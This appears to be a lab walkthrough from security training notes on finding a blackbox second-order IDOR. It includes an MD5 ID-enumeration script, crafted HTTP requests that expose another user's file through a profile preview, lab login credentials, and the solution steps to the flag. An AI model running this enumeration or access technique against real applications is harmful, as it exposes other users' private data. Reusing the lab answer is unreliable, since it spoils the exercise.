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Second-Order IDOR (Blackbox)

Now that we have seen how to approach second-order IDOR vulnerabilities from a whitebox approach, let us discuss the differences and additional challenges when we do not have access to the source code and must identify second-order IDORs from a blackbox approach.

Identifying Object References

Application Overview

Modified version of previous lab, but no source code access.

When accessing a file, the file GET parameter looks like a hash:

/file.php?file=c81e728d9d4c2f636f067f89cc14862c

Additionally, the profile page shows a file preview displaying first few characters of the last accessed file.

Decoding the Hash

Apply methodology from Bypassing Encoded References (Web Attacks module).

Research reveals: c81e728d9d4c2f636f067f89cc14862c = MD5 hash of "2"

echo -n 2 | md5sum
# c81e728d9d4c2f636f067f89cc14862c

Enumerating Files

Testing Non-Existent Files

GET /file.php?file=doesnotexist HTTP/1.1
Host: 2ndorderidor.htb
Cookie: PHPSESSID=evu3lpmb2uslfdcb337deojlqj

Response:

HTTP/1.1 302 Found
Location: profile.php?error=File+does+not+exist!

Discovery Script

import hashlib, requests

URL = "http://172.17.0.2/file.php"
COOKIE = {"PHPSESSID": "evu3lpmb2uslfdcb337deojlqj"}

for file_id in range(1000):
    id_hash = hashlib.md5(str(file_id).encode()).hexdigest()
    r = requests.get(URL, params={"file": id_hash}, cookies=COOKIE)
    if not "File does not exist!" in r.text:
        print(f"Found file with id: {file_id} -> {id_hash}")

Results:

Found file with id: 1 -> c4ca4238a0b923820dcc509a6f75849b
Found file with id: 2 -> c81e728d9d4c2f636f067f89cc14862c
Found file with id: 3 -> eccbc87e4b5ce2fe28308fd9f2a7baf3
Found file with id: 4 -> a87ff679a2f3e71d9181a67b7542122c

Files 2, 3, 4 are ours. File 1 belongs to another user.

Testing Authorization

Accessing file ID 1:

GET /file.php?file=c4ca4238a0b923820dcc509a6f75849b HTTP/1.1
Host: 2ndorderidor.htb
Cookie: PHPSESSID=evu3lpmb2uslfdcb337deojlqj

Response:

HTTP/1.1 302 Found
Location: profile.php?error=Access+denied!

Authorization check prevents direct access. Not vulnerable to first-order IDOR.

Exploiting the Second-Order

Key Insight

Think about other functions that may be affected by the failed file access.

In this application:

  • The file is loaded into "recently accessed" database
  • First few characters are displayed in profile "Continue where you left off" section
  • No additional authorization check for this preview!

Attack Flow

┌─────────────────────────────────────────────────────────────────────────┐
│                     Second-Order IDOR (Blackbox)                        │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  1. Access /file.php?file=<MD5(1)>  (admin's file)                     │
│     └── Authorization check fails → "Access denied!"                   │
│     └── BUT: File ID stored in "recently accessed" database            │
│                                                                         │
│  2. Visit /profile.php                                                 │
│     └── "Continue where you left off" shows file preview               │
│     └── NO authorization check on preview!                             │
│     └── Admin's file content partially displayed!                      │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

After accessing file ID 1 (even with "Access denied"), the profile shows:

Continue where you left off:
Secret Apple Pie Recipe
Ingredients...

Real-World Considerations

  • Sample app is small → easy to discover
  • Real-world apps are significantly more complex
  • Multiple features affect each other
  • Requires thorough understanding of app functionality
  • Must consider how different functions interact to provoke second-order IDORs

Question Walkthrough

Task: Exploit the second-order IDOR vulnerability to obtain the flag.

Step 1: Login and Explore

Login with htb-stdnt:Academy_student!

Notice file URLs use MD5 hashes:

echo -n 2 | md5sum
# c81e728d9d4c2f636f067f89cc14862c

Step 2: Notice the Preview Feature

After viewing a file, the "Continue where you left off" section shows first few characters.

Step 3: Generate Target Hash

echo -n 5 | md5sum
# e4da3b7fbbce2345d7772b0674a318d5

Step 4: Access Target File

Using Burp, intercept request to /file.php and change file parameter:

GET /file.php?file=e4da3b7fbbce2345d7772b0674a318d5 HTTP/1.1
Host: <TARGET>
Cookie: PHPSESSID=<your_session>

Step 5: Check Profile

Forward the request, then check profile page.

The "Continue where you left off" section displays the flag!